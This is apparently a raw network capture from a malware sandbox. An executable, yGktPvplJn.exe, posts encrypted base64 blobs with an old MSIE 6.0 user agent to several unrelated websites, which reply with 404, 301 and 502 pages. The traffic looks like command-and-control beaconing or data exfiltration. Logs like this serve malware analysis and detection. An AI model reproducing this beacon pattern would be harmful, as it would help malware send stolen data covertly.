Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:38.085338116 CEST	814	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 580 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.snugpak.com Cache-Control: no-cache Data Raw: 4e 51 65 6f 5a 56 47 47 31 76 6b 54 36 76 42 36 38 41 76 42 67 36 72 79 36 2f 59 50 4a 67 46 4a 46 64 72 33 46 62 72 54 65 51 4b 6f 31 4b 53 68 45 30 66 6a 56 31 58 38 30 54 45 55 32 42 2b 73 39 32 39 6b 68 76 64 6b 75 61 4e 48 6d 79 6c 72 2b 5a 75 62 6e 79 33 73 4d 77 74 62 66 67 4c 39 42 39 32 66 47 78 4b 36 52 6e 75 49 56 39 32 4b 4a 4a 37 56 68 4b 4f 41 6a 65 2b 65 5a 66 6b 66 52 4d 66 7a 67 49 68 6c 68 72 46 4f 33 70 79 6e 6c 6e 30 34 78 36 68 4d 52 6e 55 35 42 61 74 76 7a 2b 36 4b 57 46 72 66 4a 4a 38 54 74 65 78 42 36 57 6d 4d 4c 7a 63 34 4a 42 46 51 5a 4c 72 66 70 71 4e 6c 75 6c 55 62 35 72 31 62 4c 77 46 44 4d 73 6a 50 56 4f 38 33 4b 61 4b 50 51 58 76 6c 70 78 66 4b 46 47 66 6d 6d 62 4d 49 36 53 51 46 52 48 37 71 6e 63 41 6e 30 6f 52 7a 51 5a 47 4d 61 2b 69 50 53 7a 6c 50 4a 70 39 64 70 6d 34 44 6b 56 4d 32 56 54 4e 57 75 46 68 76 34 31 69 4a 7a 58 4d 43 6d 31 55 52 6d 7a 44 55 4c 4a 54 51 2f 68 4e 4e 41 77 52 45 49 36 51 47 49 39 72 38 4a 58 32 6c 53 53 6b 48 47 30 37 39 52 54 34 62 46 61 [TRUNCATED] Data Ascii: NQeoZVGG1vkT6vB68AvBg6ry6/YPJgFJFdr3FbrTeQKo1KShE0fjV1X80TEU2B+s929khvdkuaNHmylr+Zubny3sMwtbfgL9B92fGxK6RnuIV92KJJ7VhKOAje+eZfkfRMfzgIhlhrFO3pynln04x6hMRnU5Batvz+6KWFrfJJ8TtexB6WmMLzc4JBFQZLrfpqNlulUb5r1bLwFDMsjPVO83KaKPQXvlpxfKFGfmmbMI6SQFRH7qncAn0oRzQZGMa+iPSzlPJp9dpm4DkVM2VTNWuFhv41iJzXMCm1URmzDULJTQ/hNNAwREI6QGI9r8JX2lSSkHG079RT4bFanD22QBWXraHmM/JXoYcB+i2BcrigVq3D9SHxk1XJ5GSSwaBfxmlmXHnOcGBuNkpPLZ48PB1Ykh9LJCrfM2XEwVWLl6qNmqJp8q9haa4f4n+S9fnAARasUpVRJUrDIJIJHWaBMBkpeMaV/V9E37W/sQgrWyzykD7kN5hkOPXCwmQTkzhuv0yswSHbnG9cv/GKmAPZjP3XcDX5DuqUP23cRy/Oq24lst7NGuGhupmIz03Lwaom0=
Oct 25, 2024 11:17:38.996612072 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Fri, 25 Oct 2024 09:17:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive x-sorting-hat-podid: 376 x-sorting-hat-shopid: 61843439788 x-storefront-renderer-rendered: 1 vary: Accept-Encoding,Accept set-cookie: keep_alive=ab60e959-e1fb-4e62-af2e-c2a4066ad0b1; path=/; expires=Fri, 25 Oct 2024 09:47:38 GMT; HttpOnly; SameSite=Lax set-cookie: cart_currency=GBP; path=/; expires=Fri, 08 Nov 2024 09:17:38 GMT; SameSite=Lax set-cookie: _tracking_consent=%7B%22con%22%3A%7B%22CMP%22%3A%7B%22a%22%3A%22%22%2C%22m%22%3A%22%22%2C%22p%22%3A%22%22%2C%22s%22%3A%22%22%7D%7D%2C%22v%22%3A%222.1%22%2C%22region%22%3A%22USTX%22%2C%22reg%22%3A%22%22%2C%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=snugpak.com; path=/; expires=Sat, 25 Oct 2025 09:17:38 GMT; SameSite=Lax set-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=snugpak.com; path=/; expires=Sat, 26 Oct 2024 09:17:38 GMT; SameSite=Lax set-cookie: Data Raw: Data Ascii:
Oct 25, 2024 11:17:38.996624947 CEST	1236	IN	Data Raw: 73 68 6f 70 69 66 79 5f 79 3d 61 33 33 63 36 62 37 61 2d 34 31 33 64 2d 34 31 63 63 2d 61 35 36 33 2d 63 65 34 65 34 30 38 32 66 66 63 31 3b 20 45 78 70 69 72 65 73 3d 53 61 74 2c 20 32 35 2d 4f 63 74 2d 32 35 20 30 39 3a 31 37 3a 33 38 20 47 4d Data Ascii: shopify_y=a33c6b7a-413d-41cc-a563-ce4e4082ffc1; Expires=Sat, 25-Oct-25 09:17:38 GMT; Domain=snugpak.com; Path=/; SameSite=Laxset-cookie: _shopify_s=33ea1964-f4d2-44ed-aeb4-3e6ce091ebb1; Expires=Fri, 25-Oct-24 09:47:38 GMT; Domain=snugpak.com
Oct 25, 2024 11:17:38.996635914 CEST	1236	IN	Data Raw: 6d 65 2d 6f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 6e 6f 6e 65 27 3b 0d 0a 78 2d 73 68 6f 70 69 64 3a 20 36 31 38 34 Data Ascii: me-options: DENYcontent-security-policy: frame-ancestors 'none';x-shopid: 61843439788x-shardid: 376content-language: en-GBpowered-by: Shopifyserver-timing: processing;dur=237;desc="gc:46", db;dur=37, parse;dur=10, render;dur=114, a
Oct 25, 2024 11:17:38.996660948 CEST	1236	IN	Data Raw: 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 54 61 67 20 4d 61 6e 61 67 65 72 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d Data Ascii: en"> <head> ... Google Tag Manager --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=
Oct 25, 2024 11:17:38.996674061 CEST	1236	IN	Data Raw: 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 2c 27 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 68 6f 74 6a 61 72 2e 63 6f 6d 2f 63 2f 68 6f 74 6a 61 72 2d 27 2c 27 2e 6a 73 3f 73 76 3d 27 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 74 Data Ascii: window,document,'https://static.hotjar.com/c/hotjar-','.js?sv=');</script> <title>404 Not Found Snugpak</title> <link rel="shortcut icon" href="//www.snugpak.com/cdn/shop/files/logo-2_32x32.png?v=1682068637" type="image/
Oct 25, 2024 11:17:38.996690989 CEST	1236	IN	Data Raw: 6f 6e 74 65 6e 74 3d 22 33 30 34 35 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 3a 68 65 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 36 33 30 22 20 2f 3e 0a 20 20 20 20 0a 20 20 20 20 0a 20 Data Ascii: ontent="3045" /> <meta property="og:image:height" content="630" /> <meta property="og:image:alt" content="Social media image" /> <meta name="twitter:site" content="@snugpak"><meta name="twitter:title" c
Oct 25, 2024 11:17:38.996726990 CEST	1236	IN	Data Raw: 6e 74 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 73 74 79 6c 65 22 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 73 6e 75 67 70 61 Data Ascii: nt" crossorigin="anonymous"> <link rel="preload" as="style" href="//www.snugpak.com/cdn/shop/t/5/assets/theme.css?v=71465440196469854931699371714"> <script>window.performance && window.performance.mark && window.performance.mark(
Oct 25, 2024 11:17:38.996740103 CEST	791	IN	Data Raw: 6b 6f 75 74 2d 63 61 72 74 2e 65 6e 2e 6a 73 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 22 7d 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 76 61 72 20 53 68 6f 70 69 66 79 20 3d 20 53 68 6f 70 69 66 79 20 7c 7c 20 7b 7d 3b 0a 53 68 6f 70 Data Ascii: kout-cart.en.js","locale":"en"}</script><script>var Shopify = Shopify \|\| {};Shopify.shop = "snugpak.myshopify.com";Shopify.locale = "en";Shopify.currency = {"active":"GBP","rate":"1.0"};Shopify.country = "GB";Shopify.theme = {"name":"PXU
Oct 25, 2024 11:17:38.996750116 CEST	1236	IN	Data Raw: 6e 2e 71 3d 6f 2c 6e 7d 76 61 72 20 74 3d 6f 2e 53 68 6f 70 69 66 79 3d 6f 2e 53 68 6f 70 69 66 79 7c 7c 7b 7d 3b 74 2e 6c 6f 61 64 46 65 61 74 75 72 65 73 3d 6e 28 29 2c 74 2e 61 75 74 6f 6c 6f 61 64 46 65 61 74 75 72 65 73 3d 6e 28 29 7d 28 77 Data Ascii: n.q=o,n}var t=o.Shopify=o.Shopify\|\|{};t.loadFeatures=n(),t.autoloadFeatures=n()}(window);</script><script>window.ShopifyPay = window.ShopifyPay \|\| {};window.ShopifyPay.apiHost = "shop.app\/pay";</script><script id="shop-js-analytics" type="
Oct 25, 2024 11:17:38.996762037 CEST	1236	IN	Data Raw: 61 6c 22 3a 5b 22 6d 6f 64 75 6c 65 73 2f 76 32 2f 63 6c 69 65 6e 74 2e 63 68 65 63 6b 6f 75 74 2d 6d 6f 64 61 6c 5f 44 73 74 61 4f 51 32 51 2e 65 6e 2e 65 73 6d 2e 6a 73 22 2c 22 6d 6f 64 75 6c 65 73 2f 76 32 2f 63 68 75 6e 6b 2e 63 6f 6d 6d 6f Data Ascii: al":["modules/v2/client.checkout-modal_DstaOQ2Q.en.esm.js","modules/v2/chunk.common_Ar2Wa6Yl.esm.js"],"init-customer-accounts":["modules/v2/client.init-customer-accounts_DY570bpI.en.esm.js","modules/v2/client.shop-login-button_BVZh3A_h.en.esm.
Oct 25, 2024 11:17:38.996779919 CEST	1236	IN	Data Raw: 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 0a 20 20 20 20 20 20 73 2e 74 79 70 65 20 3d 20 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3b 0a 20 20 20 20 20 20 73 2e 61 73 Data Ascii: s = document.createElement('script'); s.type = 'text/javascript'; s.async = true; s.src = urls[i]; var x = document.getElementsByTagName('script')[0]; x.parentNode.insertBefore(s, x); } }; if(window.attach
Oct 25, 2024 11:17:39.331984997 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Fri, 25 Oct 2024 09:17:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive x-sorting-hat-podid: 376 x-sorting-hat-shopid: 61843439788 x-storefront-renderer-rendered: 1 vary: Accept-Encoding,Accept set-cookie: keep_alive=ab60e959-e1fb-4e62-af2e-c2a4066ad0b1; path=/; expires=Fri, 25 Oct 2024 09:47:38 GMT; HttpOnly; SameSite=Lax set-cookie: cart_currency=GBP; path=/; expires=Fri, 08 Nov 2024 09:17:38 GMT; SameSite=Lax set-cookie: _tracking_consent=%7B%22con%22%3A%7B%22CMP%22%3A%7B%22a%22%3A%22%22%2C%22m%22%3A%22%22%2C%22p%22%3A%22%22%2C%22s%22%3A%22%22%7D%7D%2C%22v%22%3A%222.1%22%2C%22region%22%3A%22USTX%22%2C%22reg%22%3A%22%22%2C%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=snugpak.com; path=/; expires=Sat, 25 Oct 2025 09:17:38 GMT; SameSite=Lax set-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=snugpak.com; path=/; expires=Sat, 26 Oct 2024 09:17:38 GMT; SameSite=Lax set-cookie: Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	52614	104.26.3.124	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:38.338737011 CEST	839	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 604 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.kernsafe.com Cache-Control: no-cache Data Raw: 69 31 41 70 59 34 65 79 39 2f 6d 71 32 77 6e 53 74 73 35 54 44 6c 43 4b 68 58 35 39 54 58 41 74 71 2b 59 73 34 35 46 76 75 58 51 47 74 76 62 48 32 33 74 66 73 69 46 41 38 45 57 75 6d 66 6d 44 73 58 48 49 38 61 4c 6d 34 39 49 79 72 34 30 6f 45 45 6a 63 51 68 4c 48 66 39 6e 73 79 34 69 61 64 54 63 34 51 35 70 74 2f 34 48 2f 77 35 62 46 4c 6a 6f 62 47 61 65 42 4d 6a 75 4e 31 65 6f 6b 75 65 7a 57 76 32 6b 73 4c 4f 4c 61 43 6f 45 45 47 32 49 50 2f 47 61 64 55 56 50 34 42 48 31 53 67 53 4e 45 6e 4d 69 41 64 73 75 76 61 30 30 71 76 4f 4c 57 53 32 37 61 58 34 71 71 6b 45 53 6b 54 68 70 48 51 35 64 47 46 65 76 5a 69 45 70 4c 54 75 56 4e 44 4b 70 62 64 39 32 53 31 43 48 6d 32 31 67 4b 58 57 6b 77 63 46 7a 38 77 59 50 49 66 74 5a 7a 33 66 70 5a 67 37 5a 57 35 68 62 4c 41 67 4c 74 38 71 79 54 53 36 43 53 65 42 56 49 6b 44 70 61 37 44 65 48 49 37 33 68 6c 39 33 45 2f 32 55 35 70 6f 48 45 43 64 78 4a 79 4b 33 61 66 39 78 5a 48 57 37 65 4e 32 4c 4a 4c 68 50 30 46 52 78 37 51 68 73 59 64 57 6b 51 65 41 4e 2b 63 50 [TRUNCATED] Data Ascii: i1ApY4ey9/mq2wnSts5TDlCKhX59TXAtq+Ys45FvuXQGtvbH23tfsiFA8EWumfmDsXHI8aLm49Iyr40oEEjcQhLHf9nsy4iadTc4Q5pt/4H/w5bFLjobGaeBMjuN1eokuezWv2ksLOLaCoEEG2IP/GadUVP4BH1SgSNEnMiAdsuva00qvOLWS27aX4qqkESkThpHQ5dGFevZiEpLTuVNDKpbd92S1CHm21gKXWkwcFz8wYPIftZz3fpZg7ZW5hbLAgLt8qyTS6CSeBVIkDpa7DeHI73hl93E/2U5poHECdxJyK3af9xZHW7eN2LJLhP0FRx7QhsYdWkQeAN+cPAR1a/UU4E8fZEjAqpLm/I6NJGOdZb6xWJHQn7ZQvCINSNK/u/DK5mu0CvnQkHlsbqbo+eMNal9F9kkoxy6qg5OLY2y+/VN+cEY6TlJyh6FXgmUfOCJ6ssnVvoiCt73Av8oHcf9IZjsd282DFBhvtBSoQkgAVhhQKCC6VbyHtl2hyhZ6WVFikk4Swkrem+7yOOZ5QdwMfRRyZGwrHlxycQgCoilRRj7tvHSeXsR7Jzby/HzuLPp+qHfJBfTpMO+sIN2Ide4zgf+
Oct 25, 2024 11:17:39.331796885 CEST	779	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://www.kernsafe.com/ X-Powered-By: ASP.NET cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wuRITow9SCjTU807pIBscU0gW8g8EJFSwKxmgoX5fJAAVNFfueJyFxPekDIOHK8CRUR0YmeYcijF5QMhCkAkmJNL%2BH3Hmw1YZoRsHhz7TMuUOjdelBDwA4YQybe3MrvTJZU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811d5dedbbeb12-DFW Data Raw: 39 34 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 4d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 68 31 3e 4f 62 6a 65 63 74 20 4d 6f 76 65 64 3c 2f 68 31 3e 54 68 69 73 20 64 6f 63 75 6d 65 6e 74 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 3c 61 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 65 72 6e 73 61 66 65 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 3c 2f 62 6f 64 79 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 94<head><title>Document Moved</title></head><body><h1>Object Moved</h1>This document may be found <a HREF="https://www.kernsafe.com/">here</a></body>0
Oct 25, 2024 11:17:39.332077980 CEST	779	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://www.kernsafe.com/ X-Powered-By: ASP.NET cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wuRITow9SCjTU807pIBscU0gW8g8EJFSwKxmgoX5fJAAVNFfueJyFxPekDIOHK8CRUR0YmeYcijF5QMhCkAkmJNL%2BH3Hmw1YZoRsHhz7TMuUOjdelBDwA4YQybe3MrvTJZU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811d5dedbbeb12-DFW Data Raw: 39 34 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 4d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 68 31 3e 4f 62 6a 65 63 74 20 4d 6f 76 65 64 3c 2f 68 31 3e 54 68 69 73 20 64 6f 63 75 6d 65 6e 74 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 3c 61 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 65 72 6e 73 61 66 65 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 3c 2f 62 6f 64 79 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 94<head><title>Document Moved</title></head><body><h1>Object Moved</h1>This document may be found <a HREF="https://www.kernsafe.com/">here</a></body>0
Oct 25, 2024 11:17:39.501343966 CEST	839	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 604 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.kernsafe.com Cache-Control: no-cache Data Raw: 69 31 41 70 59 34 65 79 39 2f 6d 71 32 77 6e 53 74 73 35 54 44 6c 43 4b 68 58 35 39 54 58 41 74 71 2b 59 73 34 35 46 76 75 58 51 47 74 76 62 48 32 33 74 66 73 69 46 41 38 45 57 75 6d 66 6d 44 73 58 48 49 38 61 4c 6d 34 39 49 79 72 34 30 6f 45 45 6a 63 51 68 4c 48 66 39 6e 73 79 34 69 61 64 54 63 34 51 35 70 74 2f 34 48 2f 77 35 62 46 4c 6a 6f 62 47 61 65 42 4d 6a 75 4e 31 65 6f 6b 75 65 7a 57 76 32 6b 73 4c 4f 4c 61 43 6f 45 45 47 32 49 50 2f 47 61 64 55 56 50 34 42 48 31 53 67 53 4e 45 6e 4d 69 41 64 73 75 76 61 30 30 71 76 4f 4c 57 53 32 37 61 58 34 71 71 6b 45 53 6b 54 68 70 48 51 35 64 47 46 65 76 5a 69 45 70 4c 54 75 56 4e 44 4b 70 62 64 39 32 53 31 43 48 6d 32 31 67 4b 58 57 6b 77 63 46 7a 38 77 59 50 49 66 74 5a 7a 33 66 70 5a 67 37 5a 57 35 68 62 4c 41 67 4c 74 38 71 79 54 53 36 43 53 65 42 56 49 6b 44 70 61 37 44 65 48 49 37 33 68 6c 39 33 45 2f 32 55 35 70 6f 48 45 43 64 78 4a 79 4b 33 61 66 39 78 5a 48 57 37 65 4e 32 4c 4a 4c 68 50 30 46 52 78 37 51 68 73 59 64 57 6b 51 65 41 4e 2b 63 50 [TRUNCATED] Data Ascii: i1ApY4ey9/mq2wnSts5TDlCKhX59TXAtq+Ys45FvuXQGtvbH23tfsiFA8EWumfmDsXHI8aLm49Iyr40oEEjcQhLHf9nsy4iadTc4Q5pt/4H/w5bFLjobGaeBMjuN1eokuezWv2ksLOLaCoEEG2IP/GadUVP4BH1SgSNEnMiAdsuva00qvOLWS27aX4qqkESkThpHQ5dGFevZiEpLTuVNDKpbd92S1CHm21gKXWkwcFz8wYPIftZz3fpZg7ZW5hbLAgLt8qyTS6CSeBVIkDpa7DeHI73hl93E/2U5poHECdxJyK3af9xZHW7eN2LJLhP0FRx7QhsYdWkQeAN+cPAR1a/UU4E8fZEjAqpLm/I6NJGOdZb6xWJHQn7ZQvCINSNK/u/DK5mu0CvnQkHlsbqbo+eMNal9F9kkoxy6qg5OLY2y+/VN+cEY6TlJyh6FXgmUfOCJ6ssnVvoiCt73Av8oHcf9IZjsd282DFBhvtBSoQkgAVhhQKCC6VbyHtl2hyhZ6WVFikk4Swkrem+7yOOZ5QdwMfRRyZGwrHlxycQgCoilRRj7tvHSeXsR7Jzby/HzuLPp+qHfJBfTpMO+sIN2Ide4zgf+
Oct 25, 2024 11:17:39.701852083 CEST	785	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://www.kernsafe.com/ X-Powered-By: ASP.NET cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2P496HQkXl7BNbMRPUlVArmcI3vpKLbRtPPl%2BJubs555RNMk891BxIyQyK4a1uF75o3ZeDYo5fFcEj3sidwcxvqH6FYFvNMw%2Bdz%2FiRXU6eB%2F24vYKwgakgbXhQ5FPjZe4LY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811d62481beb12-DFW Data Raw: 39 34 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 4d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 68 31 3e 4f 62 6a 65 63 74 20 4d 6f 76 65 64 3c 2f 68 31 3e 54 68 69 73 20 64 6f 63 75 6d 65 6e 74 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 3c 61 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 65 72 6e 73 61 66 65 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 3c 2f 62 6f 64 79 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 94<head><title>Document Moved</title></head><body><h1>Object Moved</h1>This document may be found <a HREF="https://www.kernsafe.com/">here</a></body>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	52615	104.196.26.65	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:38.363738060 CEST	786	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 552 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.cel-cpa.com Cache-Control: no-cache Data Raw: 78 41 35 44 36 46 6f 55 34 2f 6b 7a 58 36 65 31 66 64 66 63 59 35 33 79 4f 47 4e 4b 4f 32 31 31 4c 72 52 2f 35 4d 4c 79 68 48 4a 50 67 78 4c 48 37 43 54 63 57 43 5a 34 6b 4a 72 33 51 56 63 64 6c 38 53 46 4d 6c 30 75 6b 4c 6d 6d 4c 4f 6b 61 39 66 42 4c 33 4d 51 6c 52 53 42 71 59 78 42 69 6b 4b 76 43 62 68 4e 59 76 34 6e 62 72 49 57 54 2b 35 71 6d 6e 75 58 56 6a 79 41 6b 46 6c 55 6e 42 65 61 6a 74 53 70 74 55 50 6a 78 31 2b 75 6c 4c 5a 7a 30 51 75 4e 52 6e 6e 36 31 43 69 52 63 76 57 69 53 4e 43 71 63 70 79 53 39 6a 4f 49 56 6a 72 67 58 36 63 4c 69 33 64 6e 45 4b 39 77 58 69 58 35 42 61 59 46 6d 73 61 45 75 65 4d 48 68 6a 42 64 6c 37 37 51 4c 74 74 46 6a 7a 31 2f 43 33 50 59 4d 5a 2f 73 76 70 61 65 35 6b 49 4a 4c 35 45 4b 6e 52 6f 4e 48 70 4a 33 74 33 68 63 41 45 77 34 78 78 72 71 77 47 59 56 4e 44 57 76 58 4f 36 67 58 42 75 79 78 41 6d 53 41 78 30 30 58 36 66 51 71 67 49 76 69 4f 65 66 72 59 72 57 73 6b 33 75 69 41 54 33 45 55 31 4e 4f 36 4c 31 58 75 4a 69 4a 49 44 52 4c 49 47 2f 63 39 36 75 50 4f 72 [TRUNCATED] Data Ascii: xA5D6FoU4/kzX6e1fdfcY53yOGNKO211LrR/5MLyhHJPgxLH7CTcWCZ4kJr3QVcdl8SFMl0ukLmmLOka9fBL3MQlRSBqYxBikKvCbhNYv4nbrIWT+5qmnuXVjyAkFlUnBeajtSptUPjx1+ulLZz0QuNRnn61CiRcvWiSNCqcpyS9jOIVjrgX6cLi3dnEK9wXiX5BaYFmsaEueMHhjBdl77QLttFjz1/C3PYMZ/svpae5kIJL5EKnRoNHpJ3t3hcAEw4xxrqwGYVNDWvXO6gXBuyxAmSAx00X6fQqgIviOefrYrWsk3uiAT3EU1NO6L1XuJiJIDRLIG/c96uPOrC2CFeubFtCfIAssCjkK6joaCQv2gJxyjO27ps/X3no5nMWgmPiGJUEaKE7Sx1EhNhHiOTlHp8MhFwikiAa28v+45zLhm45cf241tPo75yqnwIzaw/Xlw24lIgXPT2nToQVfaxDeop1/mZwtuIddiK1SuN8ZB/J3SfyyMkGZbXHt+29B/NMm/7PWm8++2bQGqClYBDfwqKWV9Uqo0y6Dqc=
Oct 25, 2024 11:17:39.331748962 CEST	726	IN	HTTP/1.1 502 Bad Gateway Server: nginx Date: Fri, 25 Oct 2024 09:17:38 GMT Content-Type: text/html Content-Length: 552 Connection: keep-alive Keep-Alive: timeout=20 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome 